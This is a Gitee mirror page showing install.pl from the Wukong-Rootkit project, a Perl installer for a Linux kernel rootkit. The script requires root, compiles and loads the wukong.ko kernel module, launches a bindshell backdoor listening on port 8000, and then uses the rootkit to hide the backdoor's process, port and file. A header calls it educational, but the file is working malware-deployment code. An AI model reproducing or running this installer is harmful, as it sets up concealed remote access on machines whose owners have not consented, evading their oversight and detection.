3 Star 3 Fork 0

Gitee 极速下载 / Wukong-Rootkit

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
此仓库是为了提升国内下载速度的镜像仓库,每日同步一次。 原始仓库: https://github.com/hanj4096/wukong
克隆/下载
install.pl 1.68 KB
一键复制 编辑 原始数据 按行查看 历史
hanj4096 提交于 2016-03-28 11:00 . change tab to 4 space
#!/usr/bin/perl -U
=pod
* Copyright 2014-2015 Jerry Han (hanj4096@gmail.com)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* Note:
* This kernel rootkit is just for educational purpose and it shouldn't
* be used for any illegal activities, use this at your own risk.
=cut
use strict;
use warnings;
sub error()
{
print "[-] installation failed ! please check error message !";
exit;
}
sub check_root()
{
my $id = getpwuid($<);
if ($id ne "root") {
print "[-] error ! installation must be set with uid 0 (root), can not continue ! exit !\n";
exit;
}
else {
print "[+] installing as root user !\n";
}
}
sub install()
{
if (`uname -a` =~ /x86_64/) {
system("cd lkm; make linux-x86_64");
}
else {
system("cd lkm; make linux-x86");
}
if (-e "lkm/wukong.ko") {
print "[+] lkm compiled successfully !\n";
}
else {
error();
}
system("rmmod wukong");
system("cd lkm; insmod wukong.ko");
print "\n[+] wukong installed ! \n";
system("killall bindshell");
system("cd app; make");
system("./app/bindshell");
sleep(1);
my $pid = `cat /tmp/log_hidden_pid`;
system("rm -rf /tmp/log_hidden_pid");
chomp($pid);
print "\nhide bindshell process, pid=$pid! \n";
system("./app/wukong 1 $pid");
print "\nhide tcp 8000! \n";
system("./app/wukong 3 8000");
print "\nhide bindshell file! \n";
system("./app/wukong 5 bindshell");
exit;
}
# main
check_root();
install();
Perl
1
https://gitee.com/mirrors/Wukong-Rootkit.git
git@gitee.com:mirrors/Wukong-Rootkit.git
mirrors
Wukong-Rootkit
Wukong-Rootkit
master

搜索帮助